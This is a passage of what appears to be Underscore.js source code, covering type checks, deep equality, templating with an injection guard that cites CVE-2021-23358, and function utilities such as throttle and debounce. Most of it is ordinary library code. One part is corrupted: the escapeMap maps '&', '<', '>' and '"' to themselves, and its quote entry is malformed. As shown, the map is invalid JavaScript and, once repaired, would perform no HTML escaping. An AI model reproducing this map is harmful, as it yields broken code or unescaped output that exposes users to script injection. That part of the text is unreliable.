['valueOf', 'isPrototypeOf', 'toString', 'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString']; // The largest integer that can be represented exactly. var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1; // Some functions take a variable number of arguments, or a few expected // arguments at the beginning and then a variable number of values to operate // on. This helper accumulates all remaining arguments past the function’s // argument length (or an explicit `startIndex`), into an array that becomes // the last argument. Similar to ES6’s "rest parameter". function restArguments(func, startIndex) { startIndex = startIndex == null ? func.length - 1 : +startIndex; return function() { var length = Math.max(arguments.length - startIndex, 0), rest = Array(length), index = 0; for (; index < length; index++) { rest[index] = arguments[index + startIndex]; } switch (startIndex) { case 0: return func.call(this, rest); case 1: return func.call(this, arguments[0], rest); case 2: return func.call(this, arguments[0], arguments[1], rest); } var args = Array(startIndex + 1); for (index = 0; index < startIndex; index++) { args[index] = arguments[index]; } args[startIndex] = rest; return func.apply(this, args); }; } // Is a given variable an object? function isObject(obj) { var type = typeof obj; return type === 'function' || (type === 'object' && !!obj); } // Is a given value equal to null? function isNull(obj) { return obj === null; } // Is a given variable undefined? function isUndefined(obj) { return obj === void 0; } // Is a given value a boolean? function isBoolean(obj) { return obj === true || obj === false || toString.call(obj) === '[object Boolean]'; } // Is a given value a DOM element? function isElement(obj) { return !!(obj && obj.nodeType === 1); } // Internal function for creating a `toString`-based type tester. function tagTester(name) { var tag = '[object ' + name + ']'; return function(obj) { return toString.call(obj) === tag; }; } var isString = tagTester('String'); var isNumber = tagTester('Number'); var isDate = tagTester('Date'); var isRegExp = tagTester('RegExp'); var isError = tagTester('Error'); var isSymbol = tagTester('Symbol'); var isArrayBuffer = tagTester('ArrayBuffer'); var isFunction = tagTester('Function'); // Optimize `isFunction` if appropriate. Work around some `typeof` bugs in old // v8, IE 11 (#1621), Safari 8 (#1929), and PhantomJS (#2236). var nodelist = root.document && root.document.childNodes; if (typeof /./ != 'function' && typeof Int8Array != 'object' && typeof nodelist != 'function') { isFunction = function(obj) { return typeof obj == 'function' || false; }; } var isFunction$1 = isFunction; var hasObjectTag = tagTester('Object'); // In IE 10 - Edge 13, `DataView` has string tag `'[object Object]'`. // In IE 11, the most common among them, this problem also applies to // `Map`, `WeakMap` and `Set`. var hasStringTagBug = ( supportsDataView && hasObjectTag(new DataView(new ArrayBuffer(8))) ), isIE11 = (typeof Map !== 'undefined' && hasObjectTag(new Map)); var isDataView = tagTester('DataView'); // In IE 10 - Edge 13, we need a different heuristic // to determine whether an object is a `DataView`. function ie10IsDataView(obj) { return obj != null && isFunction$1(obj.getInt8) && isArrayBuffer(obj.buffer); } var isDataView$1 = (hasStringTagBug ? ie10IsDataView : isDataView); // Is a given value an array? // Delegates to ECMA5's native `Array.isArray`. var isArray = nativeIsArray || tagTester('Array'); // Internal function to check whether `key` is an own property name of `obj`. function has$1(obj, key) { return obj != null && hasOwnProperty.call(obj, key); } var isArguments = tagTester('Arguments'); // Define a fallback version of the method in browsers (ahem, IE < 9), where // there isn't any inspectable "Arguments" type. (function() { if (!isArguments(arguments)) { isArguments = function(obj) { return has$1(obj, 'callee'); }; } }()); var isArguments$1 = isArguments; // Is a given object a finite number? function isFinite$1(obj) { return !isSymbol(obj) && _isFinite(obj) && !isNaN(parseFloat(obj)); } // Is the given value `NaN`? function isNaN$1(obj) { return isNumber(obj) && _isNaN(obj); } // Predicate-generating function. Often useful outside of Underscore. function constant(value) { return function() { return value; }; } // Common internal logic for `isArrayLike` and `isBufferLike`. function createSizePropertyCheck(getSizeProperty) { return function(collection) { var sizeProperty = getSizeProperty(collection); return typeof sizeProperty == 'number' && sizeProperty >= 0 && sizeProperty <= MAX_ARRAY_INDEX; } } // Internal helper to generate a function to obtain property `key` from `obj`. function shallowProperty(key) { return function(obj) { return obj == null ? void 0 : obj[key]; }; } // Internal helper to obtain the `byteLength` property of an object. var getByteLength = shallowProperty('byteLength'); // Internal helper to determine whether we should spend extensive checks against // `ArrayBuffer` et al. var isBufferLike = createSizePropertyCheck(getByteLength); // Is a given value a typed array? var typedArrayPattern = /\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/; function isTypedArray(obj) { // `ArrayBuffer.isView` is the most future-proof, so use it when available. // Otherwise, fall back on the above regular expression. return nativeIsView ? (nativeIsView(obj) && !isDataView$1(obj)) : isBufferLike(obj) && typedArrayPattern.test(toString.call(obj)); } var isTypedArray$1 = supportsArrayBuffer ? isTypedArray : constant(false); // Internal helper to obtain the `length` property of an object. var getLength = shallowProperty('length'); // Internal helper to create a simple lookup structure. // `collectNonEnumProps` used to depend on `_.contains`, but this led to // circular imports. `emulatedSet` is a one-off solution that only works for // arrays of strings. function emulatedSet(keys) { var hash = {}; for (var l = keys.length, i = 0; i < l; ++i) hash[keys[i]] = true; return { contains: function(key) { return hash[key] === true; }, push: function(key) { hash[key] = true; return keys.push(key); } }; } // Internal helper. Checks `keys` for the presence of keys in IE < 9 that won't // be iterated by `for key in ...` and thus missed. Extends `keys` in place if // needed. function collectNonEnumProps(obj, keys) { keys = emulatedSet(keys); var nonEnumIdx = nonEnumerableProps.length; var constructor = obj.constructor; var proto = (isFunction$1(constructor) && constructor.prototype) || ObjProto; // Constructor is a special case. var prop = 'constructor'; if (has$1(obj, prop) && !keys.contains(prop)) keys.push(prop); while (nonEnumIdx--) { prop = nonEnumerableProps[nonEnumIdx]; if (prop in obj && obj[prop] !== proto[prop] && !keys.contains(prop)) { keys.push(prop); } } } // Retrieve the names of an object's own properties. // Delegates to **ECMAScript 5**'s native `Object.keys`. function keys(obj) { if (!isObject(obj)) return []; if (nativeKeys) return nativeKeys(obj); var keys = []; for (var key in obj) if (has$1(obj, key)) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; } // Is a given array, string, or object empty? // An "empty" object has no enumerable own-properties. function isEmpty(obj) { if (obj == null) return true; // Skip the more expensive `toString`-based type checks if `obj` has no // `.length`. var length = getLength(obj); if (typeof length == 'number' && ( isArray(obj) || isString(obj) || isArguments$1(obj) )) return length === 0; return getLength(keys(obj)) === 0; } // Returns whether an object has a given set of `key:value` pairs. function isMatch(object, attrs) { var _keys = keys(attrs), length = _keys.length; if (object == null) return !length; var obj = Object(object); for (var i = 0; i < length; i++) { var key = _keys[i]; if (attrs[key] !== obj[key] || !(key in obj)) return false; } return true; } // If Underscore is called as a function, it returns a wrapped object that can // be used OO-style. This wrapper holds altered versions of all functions added // through `_.mixin`. Wrapped objects may be chained. function _$1(obj) { if (obj instanceof _$1) return obj; if (!(this instanceof _$1)) return new _$1(obj); this._wrapped = obj; } _$1.VERSION = VERSION; // Extracts the result from a wrapped and chained object. _$1.prototype.value = function() { return this._wrapped; }; // Provide unwrapping proxies for some methods used in engine operations // such as arithmetic and JSON stringification. _$1.prototype.valueOf = _$1.prototype.toJSON = _$1.prototype.value; _$1.prototype.toString = function() { return String(this._wrapped); }; // Internal function to wrap or shallow-copy an ArrayBuffer, // typed array or DataView to a new view, reusing the buffer. function toBufferView(bufferSource) { return new Uint8Array( bufferSource.buffer || bufferSource, bufferSource.byteOffset || 0, getByteLength(bufferSource) ); } // We use this string twice, so give it a name for minification. var tagDataView = '[object DataView]'; // Internal recursive comparison function for `_.isEqual`. function eq(a, b, aStack, bStack) { // Identical objects are equal. `0 === -0`, but they aren't identical. // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal). if (a === b) return a !== 0 || 1 / a === 1 / b; // `null` or `undefined` only equal to itself (strict comparison). if (a == null || b == null) return false; // `NaN`s are equivalent, but non-reflexive. if (a !== a) return b !== b; // Exhaust primitive checks var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; return deepEq(a, b, aStack, bStack); } // Internal recursive comparison function for `_.isEqual`. function deepEq(a, b, aStack, bStack) { // Unwrap any wrapped objects. if (a instanceof _$1) a = a._wrapped; if (b instanceof _$1) b = b._wrapped; // Compare `[[Class]]` names. var className = toString.call(a); if (className !== toString.call(b)) return false; // Work around a bug in IE 10 - Edge 13. if (hasStringTagBug && className == '[object Object]' && isDataView$1(a)) { if (!isDataView$1(b)) return false; className = tagDataView; } switch (className) { // These types are compared by value. case '[object RegExp]': // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i') case '[object String]': // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is // equivalent to `new String("5")`. return '' + a === '' + b; case '[object Number]': // `NaN`s are equivalent, but non-reflexive. // Object(NaN) is equivalent to NaN. if (+a !== +a) return +b !== +b; // An `egal` comparison is performed for other numeric values. return +a === 0 ? 1 / +a === 1 / b : +a === +b; case '[object Date]': case '[object Boolean]': // Coerce dates and booleans to numeric primitive values. Dates are compared by their // millisecond representations. Note that invalid dates with millisecond representations // of `NaN` are not equivalent. return +a === +b; case '[object Symbol]': return SymbolProto.valueOf.call(a) === SymbolProto.valueOf.call(b); case '[object ArrayBuffer]': case tagDataView: // Coerce to typed array so we can fall through. return deepEq(toBufferView(a), toBufferView(b), aStack, bStack); } var areArrays = className === '[object Array]'; if (!areArrays && isTypedArray$1(a)) { var byteLength = getByteLength(a); if (byteLength !== getByteLength(b)) return false; if (a.buffer === b.buffer && a.byteOffset === b.byteOffset) return true; areArrays = true; } if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(isFunction$1(aCtor) && aCtor instanceof aCtor && isFunction$1(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var _keys = keys(a), key; length = _keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (keys(b).length !== length) return false; while (length--) { // Deep compare each member key = _keys[length]; if (!(has$1(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; } // Perform a deep comparison to check if two objects are equal. function isEqual(a, b) { return eq(a, b); } // Retrieve all the enumerable property names of an object. function allKeys(obj) { if (!isObject(obj)) return []; var keys = []; for (var key in obj) keys.push(key); // Ahem, IE < 9. if (hasEnumBug) collectNonEnumProps(obj, keys); return keys; } // Since the regular `Object.prototype.toString` type tests don't work for // some types in IE 11, we use a fingerprinting heuristic instead, based // on the methods. It's not great, but it's the best we got. // The fingerprint method lists are defined below. function ie11fingerprint(methods) { var length = getLength(methods); return function(obj) { if (obj == null) return false; // `Map`, `WeakMap` and `Set` have no enumerable keys. var keys = allKeys(obj); if (getLength(keys)) return false; for (var i = 0; i < length; i++) { if (!isFunction$1(obj[methods[i]])) return false; } // If we are testing against `WeakMap`, we need to ensure that // `obj` doesn't have a `forEach` method in order to distinguish // it from a regular `Map`. return methods !== weakMapMethods || !isFunction$1(obj[forEachName]); }; } // In the interest of compact minification, we write // each string in the fingerprints only once. var forEachName = 'forEach', hasName = 'has', commonInit = ['clear', 'delete'], mapTail = ['get', hasName, 'set']; // `Map`, `WeakMap` and `Set` each have slightly different // combinations of the above sublists. var mapMethods = commonInit.concat(forEachName, mapTail), weakMapMethods = commonInit.concat(mapTail), setMethods = ['add'].concat(commonInit, forEachName, hasName); var isMap = isIE11 ? ie11fingerprint(mapMethods) : tagTester('Map'); var isWeakMap = isIE11 ? ie11fingerprint(weakMapMethods) : tagTester('WeakMap'); var isSet = isIE11 ? ie11fingerprint(setMethods) : tagTester('Set'); var isWeakSet = tagTester('WeakSet'); // Retrieve the values of an object's properties. function values(obj) { var _keys = keys(obj); var length = _keys.length; var values = Array(length); for (var i = 0; i < length; i++) { values[i] = obj[_keys[i]]; } return values; } // Convert an object into a list of `[key, value]` pairs. // The opposite of `_.object` with one argument. function pairs(obj) { var _keys = keys(obj); var length = _keys.length; var pairs = Array(length); for (var i = 0; i < length; i++) { pairs[i] = [_keys[i], obj[_keys[i]]]; } return pairs; } // Invert the keys and values of an object. The values must be serializable. function invert(obj) { var result = {}; var _keys = keys(obj); for (var i = 0, length = _keys.length; i < length; i++) { result[obj[_keys[i]]] = _keys[i]; } return result; } // Return a sorted list of the function names available on the object. function functions(obj) { var names = []; for (var key in obj) { if (isFunction$1(obj[key])) names.push(key); } return names.sort(); } // An internal function for creating assigner functions. function createAssigner(keysFunc, defaults) { return function(obj) { var length = arguments.length; if (defaults) obj = Object(obj); if (length < 2 || obj == null) return obj; for (var index = 1; index < length; index++) { var source = arguments[index], keys = keysFunc(source), l = keys.length; for (var i = 0; i < l; i++) { var key = keys[i]; if (!defaults || obj[key] === void 0) obj[key] = source[key]; } } return obj; }; } // Extend a given object with all the properties in passed-in object(s). var extend = createAssigner(allKeys); // Assigns a given object with all the own properties in the passed-in // object(s). // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) var extendOwn = createAssigner(keys); // Fill in a given object with default properties. var defaults = createAssigner(allKeys, true); // Create a naked function reference for surrogate-prototype-swapping. function ctor() { return function(){}; } // An internal function for creating a new object that inherits from another. function baseCreate(prototype) { if (!isObject(prototype)) return {}; if (nativeCreate) return nativeCreate(prototype); var Ctor = ctor(); Ctor.prototype = prototype; var result = new Ctor; Ctor.prototype = null; return result; } // Creates an object that inherits from the given prototype object. // If additional properties are provided then they will be added to the // created object. function create(prototype, props) { var result = baseCreate(prototype); if (props) extendOwn(result, props); return result; } // Create a (shallow-cloned) duplicate of an object. function clone(obj) { if (!isObject(obj)) return obj; return isArray(obj) ? obj.slice() : extend({}, obj); } // Invokes `interceptor` with the `obj` and then returns `obj`. // The primary purpose of this method is to "tap into" a method chain, in // order to perform operations on intermediate results within the chain. function tap(obj, interceptor) { interceptor(obj); return obj; } // Normalize a (deep) property `path` to array. // Like `_.iteratee`, this function can be customized. function toPath$1(path) { return isArray(path) ? path : [path]; } _$1.toPath = toPath$1; // Internal wrapper for `_.toPath` to enable minification. // Similar to `cb` for `_.iteratee`. function toPath(path) { return _$1.toPath(path); } // Internal function to obtain a nested property in `obj` along `path`. function deepGet(obj, path) { var length = path.length; for (var i = 0; i < length; i++) { if (obj == null) return void 0; obj = obj[path[i]]; } return length ? obj : void 0; } // Get the value of the (deep) property on `path` from `object`. // If any property in `path` does not exist or if the value is // `undefined`, return `defaultValue` instead. // The `path` is normalized through `_.toPath`. function get(object, path, defaultValue) { var value = deepGet(object, toPath(path)); return isUndefined(value) ? defaultValue : value; } // Shortcut function for checking if an object has a given property directly on // itself (in other words, not on a prototype). Unlike the internal `has` // function, this public version can also traverse nested properties. function has(obj, path) { path = toPath(path); var length = path.length; for (var i = 0; i < length; i++) { var key = path[i]; if (!has$1(obj, key)) return false; obj = obj[key]; } return !!length; } // Keep the identity function around for default iteratees. function identity(value) { return value; } // Returns a predicate for checking whether an object has a given set of // `key:value` pairs. function matcher(attrs) { attrs = extendOwn({}, attrs); return function(obj) { return isMatch(obj, attrs); }; } // Creates a function that, when passed an object, will traverse that object’s // properties down the given `path`, specified as an array of keys or indices. function property(path) { path = toPath(path); return function(obj) { return deepGet(obj, path); }; } // Internal function that returns an efficient (for current engines) version // of the passed-in callback, to be repeatedly applied in other Underscore // functions. function optimizeCb(func, context, argCount) { if (context === void 0) return func; switch (argCount == null ? 3 : argCount) { case 1: return function(value) { return func.call(context, value); }; // The 2-argument case is omitted because we’re not using it. case 3: return function(value, index, collection) { return func.call(context, value, index, collection); }; case 4: return function(accumulator, value, index, collection) { return func.call(context, accumulator, value, index, collection); }; } return function() { return func.apply(context, arguments); }; } // An internal function to generate callbacks that can be applied to each // element in a collection, returning the desired result — either `_.identity`, // an arbitrary callback, a property matcher, or a property accessor. function baseIteratee(value, context, argCount) { if (value == null) return identity; if (isFunction$1(value)) return optimizeCb(value, context, argCount); if (isObject(value) && !isArray(value)) return matcher(value); return property(value); } // External wrapper for our callback generator. Users may customize // `_.iteratee` if they want additional predicate/iteratee shorthand styles. // This abstraction hides the internal-only `argCount` argument. function iteratee(value, context) { return baseIteratee(value, context, Infinity); } _$1.iteratee = iteratee; // The function we call internally to generate a callback. It invokes // `_.iteratee` if overridden, otherwise `baseIteratee`. function cb(value, context, argCount) { if (_$1.iteratee !== iteratee) return _$1.iteratee(value, context); return baseIteratee(value, context, argCount); } // Returns the results of applying the `iteratee` to each element of `obj`. // In contrast to `_.map` it returns an object. function mapObject(obj, iteratee, context) { iteratee = cb(iteratee, context); var _keys = keys(obj), length = _keys.length, results = {}; for (var index = 0; index < length; index++) { var currentKey = _keys[index]; results[currentKey] = iteratee(obj[currentKey], currentKey, obj); } return results; } // Predicate-generating function. Often useful outside of Underscore. function noop(){} // Generates a function for a given object that returns a given property. function propertyOf(obj) { if (obj == null) return noop; return function(path) { return get(obj, path); }; } // Run a function **n** times. function times(n, iteratee, context) { var accum = Array(Math.max(0, n)); iteratee = optimizeCb(iteratee, context, 1); for (var i = 0; i < n; i++) accum[i] = iteratee(i); return accum; } // Return a random integer between `min` and `max` (inclusive). function random(min, max) { if (max == null) { max = min; min = 0; } return min + Math.floor(Math.random() * (max - min + 1)); } // A (possibly faster) way to get the current timestamp as an integer. var now = Date.now || function() { return new Date().getTime(); }; // Internal helper to generate functions for escaping and unescaping strings // to/from HTML interpolation. function createEscaper(map) { var escaper = function(match) { return map[match]; }; // Regexes for identifying a key that needs to be escaped. var source = '(?:' + keys(map).join('|') + ')'; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, 'g'); return function(string) { string = string == null ? '' : '' + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; } // Internal list of HTML entities for escaping. var escapeMap = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`' }; // Function for escaping strings to HTML interpolation. var _escape = createEscaper(escapeMap); // Internal list of HTML entities for unescaping. var unescapeMap = invert(escapeMap); // Function for unescaping strings from HTML interpolation. var _unescape = createEscaper(unescapeMap); // By default, Underscore uses ERB-style template delimiters. Change the // following template settings to use alternative delimiters. var templateSettings = _$1.templateSettings = { evaluate: /<%([\s\S]+?)%>/g, interpolate: /<%=([\s\S]+?)%>/g, escape: /<%-([\s\S]+?)%>/g }; // When customizing `_.templateSettings`, if you don't want to define an // interpolation, evaluation or escaping regex, we need one that is // guaranteed not to match. var noMatch = /(.)^/; // Certain characters need to be escaped so that they can be put into a // string literal. var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g; function escapeChar(match) { return '\\' + escapes[match]; } // In order to prevent third-party code injection through // `_.templateSettings.variable`, we test it against the following regular // expression. It is intentionally a bit more liberal than just matching valid // identifiers, but still prevents possible loopholes through defaults or // destructuring assignment. var bareIdentifier = /^\s*(\w|\$)+\s*$/; // JavaScript micro-templating, similar to John Resig's implementation. // Underscore templating handles arbitrary delimiters, preserves whitespace, // and correctly escapes quotes within interpolated code. // NB: `oldSettings` only exists for backwards compatibility. function template(text, settings, oldSettings) { if (!settings && oldSettings) settings = oldSettings; settings = defaults({}, settings, _$1.templateSettings); // Combine delimiters into one regular expression via alternation. var matcher = RegExp([ (settings.escape || noMatch).source, (settings.interpolate || noMatch).source, (settings.evaluate || noMatch).source ].join('|') + '|$', 'g'); // Compile the template source, escaping string literals appropriately. var index = 0; var source = "__p+='"; text.replace(matcher, function(match, escape, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escapeRegExp, escapeChar); index = offset + match.length; if (escape) { source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'"; } else if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } // Adobe VMs need the match returned to produce the correct offset. return match; }); source += "';\n"; var argument = settings.variable; if (argument) { // Insure against third-party code injection. (CVE-2021-23358) if (!bareIdentifier.test(argument)) throw new Error( 'variable is not a bare identifier: ' + argument ); } else { // If a variable is not specified, place data values in local scope. source = 'with(obj||{}){\n' + source + '}\n'; argument = 'obj'; } source = "var __t,__p='',__j=Array.prototype.join," + "print=function(){__p+=__j.call(arguments,'');};\n" + source + 'return __p;\n'; var render; try { render = new Function(argument, '_', source); } catch (e) { e.source = source; throw e; } var template = function(data) { return render.call(this, data, _$1); }; // Provide the compiled source as a convenience for precompilation. template.source = 'function(' + argument + '){\n' + source + '}'; return template; } // Traverses the children of `obj` along `path`. If a child is a function, it // is invoked with its parent as context. Returns the value of the final // child, or `fallback` if any child is undefined. function result(obj, path, fallback) { path = toPath(path); var length = path.length; if (!length) { return isFunction$1(fallback) ? fallback.call(obj) : fallback; } for (var i = 0; i < length; i++) { var prop = obj == null ? void 0 : obj[path[i]]; if (prop === void 0) { prop = fallback; i = length; // Ensure we don't continue iterating. } obj = isFunction$1(prop) ? prop.call(obj) : prop; } return obj; } // Generate a unique integer id (unique within the entire client session). // Useful for temporary DOM ids. var idCounter = 0; function uniqueId(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; } // Start chaining a wrapped Underscore object. function chain(obj) { var instance = _$1(obj); instance._chain = true; return instance; } // Internal function to execute `sourceFunc` bound to `context` with optional // `args`. Determines whether to execute a function as a constructor or as a // normal function. function executeBound(sourceFunc, boundFunc, context, callingContext, args) { if (!(callingContext instanceof boundFunc)) return sourceFunc.apply(context, args); var self = baseCreate(sourceFunc.prototype); var result = sourceFunc.apply(self, args); if (isObject(result)) return result; return self; } // Partially apply a function by creating a version that has had some of its // arguments pre-filled, without changing its dynamic `this` context. `_` acts // as a placeholder by default, allowing any combination of arguments to be // pre-filled. Set `_.partial.placeholder` for a custom placeholder argument. var partial = restArguments(function(func, boundArgs) { var placeholder = partial.placeholder; var bound = function() { var position = 0, length = boundArgs.length; var args = Array(length); for (var i = 0; i < length; i++) { args[i] = boundArgs[i] === placeholder ? arguments[position++] : boundArgs[i]; } while (position < arguments.length) args.push(arguments[position++]); return executeBound(func, bound, this, this, args); }; return bound; }); partial.placeholder = _$1; // Create a function bound to a given object (assigning `this`, and arguments, // optionally). var bind = restArguments(function(func, context, args) { if (!isFunction$1(func)) throw new TypeError('Bind must be called on a function'); var bound = restArguments(function(callArgs) { return executeBound(func, bound, context, this, args.concat(callArgs)); }); return bound; }); // Internal helper for collection methods to determine whether a collection // should be iterated as an array or as an object. // Related: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094 var isArrayLike = createSizePropertyCheck(getLength); // Internal implementation of a recursive `flatten` function. function flatten$1(input, depth, strict, output) { output = output || []; if (!depth && depth !== 0) { depth = Infinity; } else if (depth <= 0) { return output.concat(input); } var idx = output.length; for (var i = 0, length = getLength(input); i < length; i++) { var value = input[i]; if (isArrayLike(value) && (isArray(value) || isArguments$1(value))) { // Flatten current level of array or arguments object. if (depth > 1) { flatten$1(value, depth - 1, strict, output); idx = output.length; } else { var j = 0, len = value.length; while (j < len) output[idx++] = value[j++]; } } else if (!strict) { output[idx++] = value; } } return output; } // Bind a number of an object's methods to that object. Remaining arguments // are the method names to be bound. Useful for ensuring that all callbacks // defined on an object belong to it. var bindAll = restArguments(function(obj, keys) { keys = flatten$1(keys, false, false); var index = keys.length; if (index < 1) throw new Error('bindAll must be passed function names'); while (index--) { var key = keys[index]; obj[key] = bind(obj[key], obj); } return obj; }); // Memoize an expensive function by storing its results. function memoize(func, hasher) { var memoize = function(key) { var cache = memoize.cache; var address = '' + (hasher ? hasher.apply(this, arguments) : key); if (!has$1(cache, address)) cache[address] = func.apply(this, arguments); return cache[address]; }; memoize.cache = {}; return memoize; } // Delays a function for the given number of milliseconds, and then calls // it with the arguments supplied. var delay = restArguments(function(func, wait, args) { return setTimeout(function() { return func.apply(null, args); }, wait); }); // Defers a function, scheduling it to run after the current call stack has // cleared. var defer = partial(delay, _$1, 1); // Returns a function, that, when invoked, will only be triggered at most once // during a given window of time. Normally, the throttled function will run // as much as it can, without ever going more than once per `wait` duration; // but if you'd like to disable the execution on the leading edge, pass // `{leading: false}`. To disable execution on the trailing edge, ditto. function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : now(); timeout = null; result = func.apply(context, args); if (!timeout) context = args = null; }; var throttled = function() { var _now = now(); if (!previous && options.leading === false) previous = _now; var remaining = wait - (_now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = _now; result = func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; throttled.cancel = function() { clearTimeout(timeout); previous = 0; timeout = context = args = null; }; return throttled; } // When a sequence of calls of the returned function ends, the argument // function is triggered. The end of a sequence is defined by the `wait` // parameter. If `immediate` is passed, the argument function will be // triggered at the beginning of the sequence instead of at the end. function debounce(func, wait, immediate) { var timeout, previous, args, result, context; var later = function() { var passed = now() - previous; if (wait > passed) { timeout = setTimeout(later, wait - passed); } else { timeout = null; if (!immediate) result = func.apply(context, args); // This check is needed because `func` can recursively invoke `debounced`. if (!timeout) args = context = null; } }; var debounced = restArguments(function(_args) { context = this; args = _args; previous = now(); if (!timeout) { timeout = setTimeout(later, wait); if (immediate) result = func.apply(context, args); } return result; }); debounced.cancel = function() { clearTimeout(timeout); timeout = args = context = null; }; return debounced; } // Returns the first function passed as an argument to the second, // allowing you to adjust arguments, run code before and after, and // conditionally execute the original function. function wrap(func, wrapper) { return partial(wrapper, func); } // Returns a negated version of the passed-in predicate. function negate(predicate) { return function() { return !predicate.apply(this, arguments); }; } // Returns a function that is the composition of a list of functions, each // consuming the return value of the function that follows. function compose() { var args = arguments; var start = args.length - 1; return function() { var i = start; var result = args[start].apply(this, arguments); while (i--) result = args[i].call(this, result); return result; }; } // Returns a function that will only be executed on and after the Nth call. function after(times, func) { return function() { if (--times < 1) { return func.apply(this, arguments); } }; } // Returns a function that will only be executed up to (but not including) the // Nth call. function before(times, func) { var memo; return function() { if (--times > 0) { memo = func.apply(this, arguments); } if (times <= 1) func = null; return memo; }; } // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = partial(before, 2); // Returns the first key on an object that passes a truth test. function findKey(obj, predicate, context) { predicate = cb(predicate, context); var _keys = keys(obj), key; for (var i = 0, length = _keys.length; i < length; i++) { key = _keys[i]; if (predicate(obj[key], key, obj)) return key; } } // Internal function to generate `_.findIndex` and `_.findLastIndex`. function createPredicateIndexFinder(dir) { return function(array, predicate, context) { predicate = cb(predicate, context); var length = getLength(array); var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (predicate(array[index], index, array)) return index; } return -1; }; } // Returns the first index on an array-like that passes a truth test. var findIndex = createPredicateIndexFinder(1); // Returns the last index on an array-like that passes a truth test. var findLastIndex = createPredicateIndexFinder(-1); // Use a comparator function to figure out the smallest index at which // an object should be inserted so as to maintain order. Uses binary search. function sortedIndex(array, obj, iteratee, context) { iteratee = cb(iteratee, context, 1); var value = iteratee(obj); var low = 0, high = getLength(array); while (low < high) { var mid = Math.floor((low + high) / 2); if (iteratee(array[mid]) < value) low = mid + 1; else high = mid; } return low; } // Internal function to generate the `_.indexOf` and `_.lastIndexOf` functions. function createIndexFinder(dir, predicateFind, sortedIndex) { return function(array, item, idx) { var i = 0, length = getLength(array); if (typeof idx == 'number') { if (dir > 0) { i = idx >= 0 ? idx : Math.max(idx + length, i); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } else if (sortedIndex && idx && length) { idx = sortedIndex(array, item); return array[idx] === item ? idx : -1; } if (item !== item) { idx = predicateFind(slice.call(array, i, length), isNaN$1); return idx >= 0 ? idx + i : -1; } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; }; } // Return the position of the first occurrence of an item in an array, // or -1 if the item is not included in the array. // If the array is large and already in sort order, pass `true` // for **isSorted** to use binary search. var indexOf = createIndexFinder(1, findIndex, sortedIndex); // Return the position of the last occurrence of an item in an array, // or -1 if the item is not included in the array. var lastIndexOf = createIndexFinder(-1, findLastIndex); // Return the first value which passes a truth test. function find(obj, predicate, context) { var keyFinder = isArrayLike(obj) ? findIndex : findKey; var key = keyFinder(obj, predicate, context); if (key !== void 0 && key !== -1) return obj[key]; } // Convenience version of a common use case of `_.find`: getting the first // object containing specific `key:value` pairs. function findWhere(obj, attrs) { return find(obj, matcher(attrs)); } // The cornerstone for collection functions, an `each` // implementation, aka `forEach`. // Handles raw objects in addition to array-likes. Treats all // sparse array-likes as if they were dense. function each(obj, iteratee, context) { iteratee = optimizeCb(iteratee, context); var i, length; if (isArrayLike(obj)) { for (i = 0, length = obj.length; i < length; i++) { iteratee(obj[i], i, obj); } } else { var _keys = keys(obj); for (i = 0, length = _keys.length; i < length; i++) { iteratee(obj[_keys[i]], _keys[i], obj); } } return obj; } // Return the results of applying the iteratee to each element. function map(obj, iteratee, context) { iteratee = cb(iteratee, context); var _keys = !isArrayLike(obj) && keys(obj), length = 